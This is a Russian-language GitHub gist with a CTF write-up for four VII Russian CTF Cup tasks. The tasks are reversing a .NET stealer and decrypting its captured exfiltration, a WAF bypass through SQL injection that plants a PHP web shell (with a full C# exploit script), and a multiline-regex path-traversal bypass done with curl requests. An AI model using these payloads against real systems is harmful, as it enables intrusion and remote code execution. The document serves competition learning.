Skip to content

Instantly share code, notes, and snippets.

@TheAirBlow
Last active November 23, 2023 07:26
Show Gist options
  • Select an option

  • Save TheAirBlow/f93d113d91f0a19826e888054e36451d to your computer and use it in GitHub Desktop.

Select an option

Save TheAirBlow/f93d113d91f0a19826e888054e36451d to your computer and use it in GitHub Desktop.
VII Russian CTF Cup - Write Up

zion

Самое легкое задание - просто делаем cat core.2331 | grep -a ctfcup.

Stealer

Задание довольно легкое, просто занимает много времени.

  1. Запустим через Wine, узнаем, что это само-распаковывающийся архив.
  2. Позже находим файл Snake.exe, выглядящий как .NET Framework приложение.
  3. Деобфусцириуем Snake.exe, например, через de4dot и др.
  4. Ручками деобфускируем до конца (то, что de4dot не смог)
  5. Получаем следующий код для шифровки:
var bufferedCipherBase = new PaddedBufferedBlockCipher(new CbcBlockCipher(new AesEngine()));
var icipherParameters = new ParametersWithIV(new KeyParameter(Encoding.UTF8.GetBytes(string_2), new byte[16]);
bufferedCipherBase.Init(true, icipherParameters_);
byte[] array = new byte[bufferedCipherBase.GetOutputSize(input.Length)];
int val = bufferedCipherBase.ProcessBytes(input, 0, input.Length, array, 0);
bufferedCipherBase.DoFinal(array, val);
return array;
  1. Получаем следующий код обфускатора (JSON текста):
// string_0 = timewaitsfornoone (присвоено в Main)
byte[] Obfuscate(string key, byte[] input) {
    var array = new byte[input.Length];
    var array2 = new byte[256];
    var array3 = new byte[256];
    var val = 0;
    while (val < 256L) {
        ((sbyte[])(object)array2)[val] = (sbyte)(byte)val;
        ((sbyte[])(object)array3)[val] = (sbyte)Convert.ToByte(string_0[val % string_0.Length]);
        val += 1;
    }
    
    var val2 = 0;
    val = 0;
    while (val < 256L) {
        val2 = (val2 + array2[val] + array3[val]) % 256;
        var val3 = array2[val];
        ((sbyte[])(object)array2)[val] = (sbyte)array2[val2];
        ((sbyte[])(object)array2)[val2] = (sbyte)val3;
        val += 1;
    }
    
    val2 = 0;
    val = 0;
    var val4 = 0;
    while (val4 < (long)array.Length) {
        val = (val + 1) % 256;
        val2 = (val2 + array2[val]) % 256;
        var val3 = array2[val];
        ((sbyte[])(object)array2)[val] = (sbyte)array2[val2];
        ((sbyte[])(object)array2)[val2] = (sbyte)val3;
        var val5 = (array2[val] + array2[val2]) % 256;
        ((sbyte[])(object)array)[val4] = (sbyte)(byte)(input[val4] ^ array2[val5]);
        val4 += 1;
    }
    return array;
}
  1. Рассмотрим PCAP дамп, приложеный к стилеру.
    • Нам уже должно быть известно, что сначала стилер получает пароль для шифрования (string_2) через HTTP
    • Открываем дамп в WireShark с фильтром http, ответ сервера d90f7g07asd0g80f - это наш пароль
    • Просматриваем следующий HTTP запрос, только уже POST, и сохраняем себе на потом.
Result=BokfOg%2B%2BGk8ETiU9DS3vtmtgdG0xNDwk263Z1gMvyw5obt7vhRycEoDnynIT1TTqmkQRH8t7MWcKs9ILqkUlA%2Bq6FGbKZg%2B41BRZqBj399RePW%2BfnH28cmYFN1vKLesyOtEvuZf9ud7uwyCj277AvbXoBOErsUhCW00U5z%2BIN4BOZviYhsj0zyTk2bgGl9CffislLov11BNS7CFzV%2BKQCslQZ9i7%2BJMyRsi54DwxGJegurPRj98%2FiLbUd%2B4QWCteCE6c8BMjXtg%2FGu989wvBvE9cv1j0U%2FOxunYbGqtnq4dj0oWFOPcB3CYgk7GDIzyUCy%2FfGKJGtHUoDEvc4J%2FQd19z8sSFvPCV6BflC2%2BsfxCNqPSvOzb2h3GNXTYzFv6sabT9M98aTFCzJkIkB1BZjaZ2mFGOW5l8eFL69viVBJjEZRFFrCDocL1cagbXT0DFkkGWoev%2BGSgabtm41%2F47ggEt1DkebOjiEDg%2FLYtzn3aVSjwwuW6uUkmBX2rg2RUN86RjHylVHc5OffHU8CLJRBxNXTqw45EKDMbWMqs94AQ6zejiHHC%2B%2FNI4NhF86VCII7K6Ou5thPOPgcURxSIWtYFfQVblzrEF2G2mFPTbcFIkQftVvAIj%2FAogFSyTYZ2X
  1. Избавляемся от Result=, оставшиеся URL decode и потом Base64 decode.
  2. Разшифровываем (по коду шифрования, тут алгоритм AES CBC, с ключом string_2 и с пустым IV 16 байт)
  3. Прогоняем то, что мы получили через код обфускатора (он симметричен, работает и для деобфускации, и для обфускации)
  4. Вот и наш флаг - ctfcup{y0ur_p455w0rd5_4r3_n07_54f3} (вместе с кукисами)
Исходный код решения
using System.Text;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Paddings;
using Org.BouncyCastle.Crypto.Parameters;

byte[] Deobfuscate(string key, byte[] input) {
    var array = new byte[input.Length];
    var array2 = new byte[256];
    var array3 = new byte[256];
    var val = 0;
    while (val < 256L) {
        ((sbyte[])(object)array2)[val] = (sbyte)(byte)val;
        ((sbyte[])(object)array3)[val] = (sbyte)Convert.ToByte(key[val % key.Length]);
        val += 1;
    }
    
    var val2 = 0;
    val = 0;
    while (val < 256L) {
        val2 = (val2 + array2[val] + array3[val]) % 256;
        var val3 = array2[val];
        ((sbyte[])(object)array2)[val] = (sbyte)array2[val2];
        ((sbyte[])(object)array2)[val2] = (sbyte)val3;
        val += 1;
    }
    
    val2 = 0;
    val = 0;
    var val4 = 0;
    while (val4 < (long)array.Length) {
        val = (val + 1) % 256;
        val2 = (val2 + array2[val]) % 256;
        var val3 = array2[val];
        ((sbyte[])(object)array2)[val] = (sbyte)array2[val2];
        ((sbyte[])(object)array2)[val2] = (sbyte)val3;
        var val5 = (array2[val] + array2[val2]) % 256;
        ((sbyte[])(object)array)[val4] = (sbyte)(byte)(input[val4] ^ array2[val5]);
        val4 += 1;
    }
    return array;
}

var key1 = "d90f7g07asd0g80f"; var key2 = "timewaitsfornoone";
var enc = Convert.FromBase64String("BokfOg++Gk8ETiU9DS3vtmtgdG0xNDwk263Z1gMvyw5obt7vhRycEoDnynIT1TTqmkQRH8t7MWcKs9ILqkUlA+q6FGbKZg+41BRZqBj399RePW+fnH28cmYFN1vKLesyOtEvuZf9ud7uwyCj277AvbXoBOErsUhCW00U5z+IN4BOZviYhsj0zyTk2bgGl9CffislLov11BNS7CFzV+KQCslQZ9i7+JMyRsi54DwxGJegurPRj98/iLbUd+4QWCteCE6c8BMjXtg/Gu989wvBvE9cv1j0U/OxunYbGqtnq4dj0oWFOPcB3CYgk7GDIzyUCy/fGKJGtHUoDEvc4J/Qd19z8sSFvPCV6BflC2+sfxCNqPSvOzb2h3GNXTYzFv6sabT9M98aTFCzJkIkB1BZjaZ2mFGOW5l8eFL69viVBJjEZRFFrCDocL1cagbXT0DFkkGWoev+GSgabtm41/47ggEt1DkebOjiEDg/LYtzn3aVSjwwuW6uUkmBX2rg2RUN86RjHylVHc5OffHU8CLJRBxNXTqw45EKDMbWMqs94AQ6zejiHHC+/NI4NhF86VCII7K6Ou5thPOPgcURxSIWtYFfQVblzrEF2G2mFPTbcFIkQftVvAIj/AogFSyTYZ2X");
var cipher = new PaddedBufferedBlockCipher(new CbcBlockCipher(new AesEngine()));
var param = new ParametersWithIV(new KeyParameter(Encoding.UTF8.GetBytes(key1)), new byte[16]);
cipher.Init(false, param);
var array = new byte[cipher.GetOutputSize(enc.Length)];
var val = cipher.ProcessBytes(enc, 0, enc.Length, array, 0);
cipher.DoFinal(array, val);
Console.WriteLine(Convert.ToHexString(array));
Console.WriteLine(Encoding.UTF8.GetString(Deobfuscate(key2, array)));

WAF

  1. В исходном коде проекта находим sql.db, там и пароль от админки
    • admin: someL0ngPasswordYouShouldNev3rGuess
    • При помощи него мы можем создавать новые аккаунты
  2. Просмотрим исходный код add_admin.php и login.php
// ! отрывок из файла login.php !
// тут идет ручная проверка content-type
// обойти фаервол здесь - нельзя
$data = [];
$content_type = $_SERVER["CONTENT_TYPE"];
$is_json = $content_type == "application/json";
if ($is_json) {
    $jsonData = file_get_contents('php://input');
    $data = json_decode($jsonData, true);
    if ($data === null) {
        http_response_code(400);
        die("Invalid JSON data.");
    }
}
if ($content_type == "application/x-www-form-urlencoded") {
    $data = $_POST;
}

// ! отрывок из файла add_admin.php !
// ручной проверки и парсинга - нет
// используется $_POST, и он поддерживает multipart/form-data
// он не проверяется фаерволом, следовательно - это байпасс
$username = $_POST['name'] ?? "";
$password = $_POST["password"] ?? "";

$db = new SQLite3('/sql.db');

$q = "INSERT INTO users VALUES ('$username', '$password')";
$db->exec($q);

echo "Added user $username";
  1. Мы можем обойти фаервол, который не пропускает спец. символам
    • Теперь можно сделать SQL injection
  2. Подключаемся к датабазе по пути /var/www/html/random_name_here.php - имя не имеет значения
    • Это позволяет нам создать PHP файл, соответсвенно мы получаем RCE
    • Все что необходимо - создать таблицу, а потом добавить наш payload
    • Сделаем remote shell (<?php system($_GET['cmd']); ?>)
  3. Используем полученный доступ к терминалу
    • random_name_here.php?cmd=ls+/ - узнаем, что флаг в руте
    • random_name_here.php?cmd=cat+/flag.txt - получаем флаг
    • Флаг: ctfcup{640d345-dcd3-46dd-9887-9c968d64eb37}
Исходный код решения
using System.Text;

using var client = new HttpClient();
var content = new MultipartFormDataContent();
content.Add(new StringContent("we-do-some-mischevous-deeds"), "name");
content.Add(new StringContent("trolled'); ATTACH DATABASE '/var/www/html/bruh.php' AS pwn; CREATE TABLE pwn.test (cmd text); INSERT INTO pwn.test (cmd) VALUES (\"<?php system($_GET['cmd']); ?>\");--"), "password");
var read = await content.ReadAsByteArrayAsync();
Console.WriteLine(Encoding.UTF8.GetString(read));
var resp = await client.SendAsync(
    new HttpRequestMessage {
        RequestUri = new Uri("https://9756056f-ebf1-4fa1-94c1-4ea7ef6a91ea.ctfcup-2023.ru/add_admin.php"),
        Headers = { { "Cookie", "PHPSESSID=Admin_Session_Cookie_Here" } },
        Content = content, Method = HttpMethod.Post
    });
Console.WriteLine(resp.ToString());
Console.WriteLine(await resp.Content.ReadAsStringAsync());

murdata

Флаг хранится в паспорте администратора!

  1. После долгово анализа кода - я зацепился за один символ в коде
    • if (preg_match('/^[a-zA-Z0-9_]+$/m', $username) !== 1) - что означает m?
    • Оказалось, что m - multiline режим. Благодоря этому, мы можем обойти проверку.
    • Т.к. он проверяет все строки отдельно, можно сделать одну строку валидной, а другую - нет.
    • Осталось только сделать payload - left_part\nright_part, одна из частей должна соответсвовать regex'у.
  2. Начинаем издеватся над входом в normalizePath, т.к. это единственная возможность избавится от newline.
    • file_get_contents($this->normalizePath($this->dataDir . $username . ".txt"))
    • После эксперементации находим рабочий payload - ok\n/../../userdata/admin
    • Но он не выдавал флаг. Сделая payload, вызывающий warning, узнаем что путь /tmp.
    • Таким образом, наш payload ok\n/../../tmp/admin
  3. Делаем два CURL-запроса, в итоге получая PHPSESSID нового юзера.
# Регистрируем пользователя, получаем токен для авторизации
curl 'https://9a577c0c-8bb8-4e60-aa56-145b1a387b11.ctfcup-2023.ru/register.php' -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'username=ok%0A/../../tmp/admin&password=admin&passport=trollface'
# Логинимся под юзером, которого мы только что создали, получаем PHPSESSID
curl 'https://9a577c0c-8bb8-4e60-aa56-145b1a387b11.ctfcup-2023.ru/login.php' -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'username=ok%0A/../../tmp/admin&password=admin&token=<token>'
  1. Подменяем кукисы в бразуре на PHPSESSID, который мы получили
  2. Открываем главную страницу, и вуаля - наш флаг: ctfcup{7fee0184-84e4-438f-8737-aa1b89754538}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment